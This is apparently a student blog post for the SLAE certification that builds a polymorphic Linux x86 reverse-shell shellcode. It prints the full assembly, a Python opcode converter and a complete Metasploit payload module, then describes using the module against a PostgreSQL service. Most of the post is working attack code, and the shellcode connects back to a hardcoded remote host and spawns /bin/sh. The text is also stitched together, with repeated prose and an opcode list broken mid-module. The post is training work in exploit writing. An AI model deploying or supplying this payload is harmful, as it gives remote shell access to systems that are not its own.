For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is a bonus exercise I added about creating
a polymorphic reverse shell metasploit module. Code can be found at my GitHub SLAE repository.
BONUS1. POLYMORPHIC REVERSE SHELL
___________________________________________________
___________________________________________________
I was very interested by doing a polymorphic version of my reverse shell shellcode done in assignement 2, and create a metasploit module from it. You can find below
the assembly of the shellcode, using same techniques than previously talked, so I will not explain them again:
Then on Kali Linux, create an msf folder into the user's directory:
mkdir -p ~/.msf4/modules/payloads/singles/linux/x86/
Create the payload module, inserting the python script output
nano ~/.msf4/modules/payloads/singles/linux/x86/poly_shell_reverse.rb
Final module looks like this:
Checking our payload information:
Checking all options are set:
set RHOST 127.0.0.1
set LHOST 10.0.0.56
Now exploiting!
Note that setting RHOST to 127.0.0.1 can often gives a Metasploit error about the address being reserved. If you have the problem, set PostgreSQL to listen on the local IP address, and set your address (10.0.0.56 in the above example) as RHOST.
We can see that our polymorphic reverse shell metasploit module is working perfectly, IP address and port are modified in place.
Thanks for reading.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
; Title: Polymorphic Linux x86 Reverse Shell Shellcode (126 bytes) ; Author: Guillaume Kaddouch ; SLAE-681 global _start section .text _start: ; Socket creation and handling with socketcall() ; socketcall(int call, unsigned long *args) ; 1 - creating socket ; int socket(int domain, int type, int protocol) ; socketfd = socket(2, 1, 0) ; eax = 0x66 = socketcall() ; ebx = 0x1 = socket() ; ecx = ptr to socket's args xor ebx, ebx ; zero out ebx mul ebx ; implicit operand eax: zero out eax mov al, 0x33 add al, 0x33 ; 0x66 = 102 = socketcall() mov [esp-4], dword ebx ; push ebx, 3rd arg: socket protocol = 0 sub esp, 0x4 mov bl, 0x1 ; ebx = 1 = socket() function push byte 0x1 ; 2nd arg: socket type = 1 (SOCK_STREAM) push byte 0x2 ; 1st arg: socket domain = 2 (AF_INET) mov ecx, esp ; copy stack structure's address to ecx (pointer) int 0x80 ; eax = socket(AF_INET, SOCK_STREAM, 0) ; 2 - dup2 ; int dup2(int oldfd, int newfd) ; duplicate our socketfd into fd from 2 to 0 (stdin = 0, stdout = 1, stderror = 2) ; stdin/stdout/stderror become the TCP connection ; eax = 0x3f = dup2() ; ebx = socketfd ; ecx = fd (from 2 to 0) ;xchg eax, ebx ; ebx = socketfd, eax = 1 mov ebx, eax mov al, 0x1 pop ecx ; ecx = 2 (loop count) inc ecx pxor mm0, mm1 dec ecx dup_jump: mov al, 0x4f ; eax = 63 = dup2() sub al, 0x10 int 0x80 ; dup2(socketfd, ecx) inc ecx ; decrement ecx from stderror to stdin sub ecx, 0x2 jns dup_jump ; loop until ZF is set ; 3 - connect ; int connect(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr], socklen_t addrlen) ; eax = connect(socketfd, [2, port, IP], 16) ; returns 0 on success ; eax = 0x66 = socketcall() ; ebx = 0x3 = connect() ; ecx = ptr to bind's args mov al, 0x33 ; 0x66 = 102 = socketcall() add al, 0x33 push dword 0x80f1a8c0 ; 192.168.241.128 Remote IP address push word 0x611e ; Remote port push word 0x0002 ; sin_family = 2 (AF_INET) ;mov ecx, esp ; ecx = ptr to *addr structure xchg ecx, esp mov esp, ecx push byte 16 ; addr_len = 16 (structure size) push ecx ; push ptr of args structure push ebx ; ebx = socketfd mov bl, 0x4 ; ebx = 3 = connect() dec bl mov ecx, esp ; save esp into ecx, points to socketfd fldz int 0x80 ; eax = connect(socketfd, *addr[2, 7777, IP], 16) = 0 (on success) ; 4 - execve /bin/sh ; execve(const char *filename, char *const argv[filename], char *const envp[]) ; execve(/bin//sh, &/bin//sh, 0) ; eax = 0xb = execve() ; ebx = *filename ; ecx = *argv ; edx = *envp xor eax, eax push edx ; edx = 0x00000000 ;push dword 0x68732f2f ; push //sh ;push dword 0x6e69622f ; push /bin (=/bin//sh) mov ebx, 0x57621e1e add ebx, 0x11111110 push ebx inc dword [esp] mov ebx, 0x4c47400c add ebx, 0x22222222 push ebx inc dword [esp] mov ebx, esp ; ebx = ptr to /bin//sh into ebx push edx ; edx = 0x00000000 mov edx, esp ; edx = ptr to NULL address push ebx ; pointer to /bin//sh. Stack = 0X00, /bin//sh, 0X00000000, &/bin//sh mov ecx, esp ; ecx points to argv mov al, 0xb int 0x80 ; execve /bin/shThen I made an executable from it, and used a python script I built to convert an objdump disassembly to a metasploit clean module format, that can be inserted into a metasploit module:
#!/usr/bin/python # Title: ELF to Metasploit converter # Author: Guillaume Kaddouch # SLAE-681 import sys, os try: file = sys.argv[1] except: print "you must submit a filename." exit() os.system("objdump -d " + file + " -M intel > ./tmp") p = open(file + ".payload", "w") with open("./tmp", "r") as f: for line in f: r = line.split('\t') converted = "" if len(r) == 3: opcode = r[1].replace(" ", "") asm = r[2].replace(" ", " ") asm.replace(" ", " ") asm = asm[:-1] index = 0 while index < len(opcode): converted += "\\x" + opcode[index:index+2] index = index + 2 converted = ' \t "' + converted + '"' + ' ' * (40 - len(converted)) buffer = converted + '+# ' + asm print buffer p.write(buffer + '\n') f.close() p.close()How to use it (extract):
Then on Kali Linux, create an msf folder into the user's directory:
mkdir -p ~/.msf4/modules/payloads/singles/linux/x86/
Create the payload module, inserting the python script output
nano ~/.msf4/modules/payloads/singles/linux/x86/poly_shell_reverse.rb
Final module looks like this:
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 CachedSize = 126 include Msf::Payload::Single include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) super(merge_info(info, 'Name' => 'Polymorphic Linux Command Shell, Reverse TCP Inline', 'Description' => 'Connect back to attacker and spawn a command shell', 'Author' => 'Guillaume Kaddouch - SLAE-681', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, 'Session' => Msf::Sessions::CommandShellUnix, 'Payload' => { 'Offsets' => { 'LHOST' => [ 52, 'ADDR' ], 'LPORT' => [ 58, 'n' ], }, 'Payload' => "\x31\xdb" +# xor ebx,ebx "\xf7\xe3" +# mul ebx "\xb0\x33" +# mov al,0x33 "\x04\x33" +# add al,0x33 "\x89\x5c\x24\xfc" +# mov DWORD PTR [esp-0x4],ebx "\x83\xec\x04" +# sub esp,0x4 "\xb3\x01" +# mov bl,0x1 "\x6a\x01" +# push 0x1 "\x6a\x02" +# push 0x2 "\x89\xe1" +# mov ecx,esp "\xcd\x80" +# int 0x80 "\x89\xc3" +# mov ebx,eax "\xb0\x01" +# mov al,0x1 "\x59" +# pop ecx "\x41" +# inc ecx "\x0f\xef\xc1" +# pxor mm0,mm1 "\x49" +# dec ecx "\xb0\x4f" +# mov al,0x4f "\x2c\x10" +# sub al,0x10 "\xcd\x80" +# int 0x80 "\x41" +# inc ecx "\x83\xe9\x02" +# sub ecx,0x2 "\x79\xf4" +# jns 8048083Notice the offset of LHOST and LPORT that must be modified according to your payload. Offset begins at 0, first opcode, and goes up. To test the payload, I choosed to exploit my local PostgreSQL service, by modifying its configuration file to trust local connections, to not requiring authentication. That would be the same case in a real-case scenario where a PostgreSQL installation would be found with default or weak credentials."\xb0\x33" +# mov al,0x33 "\x04\x33" +# add al,0x33 "\x68\xc0\xa8\xf1\x80" +# push 0x80f1a8c0 "\x66\x68\x1e\x61" +# pushw 0x611e "\x66\x6a\x02" +# pushw 0x2 "\x87\xcc" +# xchg esp,ecx "\x89\xcc" +# mov esp,ecx "\x6a\x10" +# push 0x10 "\x51" +# push ecx "\x53" +# push ebx "\xb3\x04" +# mov bl,0x4 "\xfe\xcb" +# dec bl "\x89\xe1" +# mov ecx,esp "\xd9\xee" +# fldz "\xcd\x80" +# int 0x80 "\x31\xc0" +# xor eax,eax "\x52" +# push edx "\xbb\x1e\x1e\x62\x57" +# mov ebx,0x57621e1e "\x81\xc3\x10\x11\x11\x11" +# add ebx,0x11111110 "\x53" +# push ebx "\xff\x04\x24" +# inc DWORD PTR [esp] "\xbb\x0c\x40\x47\x4c" +# mov ebx,0x4c47400c "\x81\xc3\x22\x22\x22\x22" +# add ebx,0x22222222 "\x53" +# push ebx "\xff\x04\x24" +# inc DWORD PTR [esp] "\x89\xe3" +# mov ebx,esp "\x52" +# push edx "\x89\xe2" +# mov edx,esp "\x53" +# push ebx "\x89\xe1" +# mov ecx,esp "\xb0\x0b" +# mov al,0xb "\xcd\x80" # int 0x80 } )) end end
Checking our payload information:
Checking all options are set:
set RHOST 127.0.0.1
set LHOST 10.0.0.56
Now exploiting!
Note that setting RHOST to 127.0.0.1 can often gives a Metasploit error about the address being reserved. If you have the problem, set PostgreSQL to listen on the local IP address, and set your address (10.0.0.56 in the above example) as RHOST.
We can see that our polymorphic reverse shell metasploit module is working perfectly, IP address and port are modified in place.
Thanks for reading.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
No comments:
Post a Comment